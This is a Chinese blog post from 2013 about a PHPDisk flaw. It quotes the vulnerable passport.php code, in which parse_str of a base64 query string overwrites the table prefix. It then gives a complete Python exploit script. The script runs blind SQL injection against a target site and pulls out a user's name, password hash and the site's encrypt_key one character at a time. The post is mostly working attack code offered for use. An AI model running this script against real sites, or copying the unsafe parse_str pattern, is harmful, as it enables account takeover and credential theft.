phpdisk 盲注 &前台任意用户登录

代码审核

文件 plugins\phpdisk_client\passport.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$str = $_SERVER['QUERY_STRING'];
 
if($str){
    parse_str(base64_decode($str));// 触发函数
}else{
    exit('Error Param');
}
/*$username = trim(gpc('username','G',''));
$password = trim(gpc('password','G',''));
$sign = trim(gpc('sign','G',''));*/
 
if($sign!=strtoupper(md5($action.$username.$password))){
    exit('No data,Code:2!');
}
 
$username = is_utf8() ? convert_str('gbk','utf-8',$username) : $username;
 
if($action=='passportlogin'){
 
    $rs = $db->fetch_one_array("select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1");  //覆盖tpf

phpdisk.py exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#===============================================================================
# Id :phpdisk.y
# Author:Yaseng
#===============================================================================
import   sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib
 
def cslogo():
    print '''
  ___  ___  ____  ____  ____  __      __   _  _
 / __)/ _ \(  _ \( ___)(  _ \(  )    /__\ ( \/ )
( (__( (_) ))(_) ))__)  )___/ )(__  /(__)\ \  /
 \___)\___/(____/(____)(__)  (____)(__)(__)(__)
 Name:phpdisk bind sql injection  exploit
 Author:Yaseng [yaseng@uauc.net]
 Usage:phpdisk.py  site[www.yaseng.me]   id[1]
'''
 
# show message
def msg(text, type=0):
    if type == 0:
       str_def = "[*]"
    elif  type == 1:
       str_def = "[+]"
    else:
       str_def = "[-]";
    print str_def + text;
 
# get url data
def get_data(url):
    try:
      r = urllib2.urlopen(url, timeout=10)
      return r.read()
    except :
     return 0
def b(url):
     if   get_data(url).find("ssport Err",0) != -1 :
        return 0
     return 1
 
def make_plyload(payload):
     return   target+"?"+base64.b64encode("username=1&password=1&action=passportlogin&tpf="+payload+"&sign="+md5.new("passportlogin"+"1"+"1").hexdigest().upper())
 
def get_username():
 
    msg("get  username ...")
    global  pass_list
    len=0
    for i in range(40) :
         if  b(make_plyload("pd_users  WHERE 1   and   (SELECT  LENGTH(username)  from  pd_users where userid=%d )= %d  #" % (uid,i))):
            len=i
            msg("username length:%d" % len,1)
            break
    global  key_list
    key_list=['0','1','2','3','4','5','6','7','8','9']
    key_list+=map(chr,range(97,123))
    username=""
    for i  in range(len) :
       for key in key_list :
            t=key
            if type(key) != int :
                t="0x"+binascii.hexlify(key)
            if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(username,%d,1)   from  pd_users  where userid=%d )=%s #" % (i+1,uid,t)))) :
             msg("username [%d]:%s" % (i+1,key))
             username+=key
             break
    msg("username:"+username,1)
    return  username
 
def get_password():  
 
     pass_list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
     password=""
     for i  in range(32) :
        for key in pass_list :
             t=key
             if type(key) != int :
                 t="0x"+binascii.hexlify(key)
             if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(password,%d,1)     from  pd_users  where userid=%d )= %s #" % (i+1,uid,t)))) :
              msg("password [%d]:%s" % (i+1,key))
              password+=key
              break
     msg("username:"+password,1)
     return password    
 
def get_encrypt_key():
 
    msg("get encrypt_key ...")
    global  pass_list
    pass_list=map(chr,range(97,123))
    len=0
    for i in range(40) :
        if  b(make_plyload("pd_users  WHERE 1   and   ( SELECT  LENGTH(value)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )=%d  #23" % i)):
            len=i
            msg("encrypt_key length:%d" % len,1)
            break
    global  key_list
    key_list=['0','1','2','3','4','5','6','7','8','9']
    key_list+=map(chr,range(65,91)+range(97,123))
    encrypt_key=""
    for i  in range(len) :
       for key in key_list :
         t=key
         if type(key) != int :
            t="0x"+binascii.hexlify(key)
         if(b(make_plyload(" pd_users WHERE 1   and   ( SELECT  binary(substr(value,%d,1))  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = %s #" % (i+1,t)))) :
          msg("key [%d]:%s" % (i+1,key))
          encrypt_key+=key
          break
    msg("encrypt_key:"+encrypt_key,1)
    return  encrypt_key
 
if __name__ == '__main__':
 
   cslogo()
   if len(sys.argv) > 1 :
    site=sys.argv[1];
    global target
    global uid
    try :
     uid=int(sys.argv[2]);
    except :
      uid =1
    target=site+"/plugins/phpdisk_client/passport.php"
    msg("exploit:"+site)
   #print get_data(make_plyload(" pd_users WHERE 1   and   ( SELECT  substr(value,2,1)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = 9 %23"))
    if get_data(target) :
       username=get_username()
       if len(username) > 0 :
         password=get_password()
         if len(password) == 32 :
            msg("Succeed: username:%s  password:%s" % (username,password),1)
    else :
       msg("vulnerability  not  exits",2);
       exit();
posted @ 2013-08-18 09:45  问笑  阅读(464)  评论(0)    收藏  举报